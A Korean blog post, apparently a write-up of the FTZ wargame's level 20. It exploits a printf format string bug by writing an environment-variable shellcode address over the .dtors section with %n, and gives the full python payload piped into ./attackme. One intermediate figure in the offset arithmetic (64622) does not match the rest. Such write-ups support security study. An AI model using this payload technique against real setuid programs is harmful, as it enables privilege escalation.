ii4gsp

FTZ - Level20 본문

시스템 해킹/FTZ

FTZ - Level20

ii4gsp 2020. 1. 12. 22:06

bleh의 버퍼는 80byte의 크기인데 fgets() 함수로 버퍼를 79byte만큼 입력을받아 버퍼 오버플로우는 힘들것 같다.

하지만 printf() 함수에서 포맷스트링 버그가 일어난다.

 

 

 

 

서식문자를 입력하니 메모리를 읽어서 출력한다.

 

 

 

 

문자와 서식문자를 같이 입력하니 입력한 A의 값 41414141이 보인다.

 

 

 

 

gdb로 disas main을하니 main symbol을 찾을 수 없다고 한다.

.dtors를 활용 하면 될 것 같다.

gcc는 컴파일 할 때 .ctors와 .dtors 두 세그먼트를 생성한다.

.ctors는 main() 전에 실행되고 .dtors는 main() 종료 후에 실행된다.

main()이 종료되고 .dtors함수가 실행되기 전에 쉘 코드 주소 넣으면 된다.

 

 

 

 

.dtors 세그먼트의 주소는 0x08049594이다.

.dtors 주소의 4byte를 더한 0x08049598에 쉘코드의 주소를 넣으면 된다.

 

 

 

 

#include <stdio.h>

int main()
{
	printf("%p\n", getenv("shellcode"));
    return 0;
}

쉘코드 주소를 얻기위해 소스코드를 작성해주고

 

 

 

 

환경변수에 쉘코드를 등록해주고 작성한 코드를 실행하여 쉘코드의 주소를 알아냈다.

쉘코드의 주소는 0xbffffeee 10진수로 3,221,225,198 int형의 최대값을 벗어나기 때문에 2byte씩 나누어 입력해야한다.

feee = 65262, bfff = 49151

65262에서 앞에서 채운 40만큼 빼줘야한다

65262 - 40 = 65222

마찬가지로 49151도 바꿔줘야 하는데 이전 출력된 수가 64622이므로 49151에서 64622를 빼줘야하는데

64622가 더 크므로 0x1BFFF에서 0xFEEE를 빼주면된다.

%n은 현재까지 입력한 바이트 수의 값을 가진다.

%n을 이용하여 페이로드를 작성하면 될것이다.

 

 

 

 

payload

 (python -c 'print "\x90" * 4 + "\x98\x95\x04\x08" + "\x90" * 4 + "\x9a\x95\x04\x08" + "%8x" * 3 + "%65222c%n" + "%49425c%n"';cat) | ./attackme

'시스템 해킹 > FTZ' 카테고리의 다른 글

FTZ - Level19  (0) 2020.01.11
FTZ - Level18  (0) 2020.01.11
FTZ - Level17  (0) 2020.01.10
FTZ - Level16  (0) 2020.01.10
FTZ - Level15  (0) 2020.01.10
Comments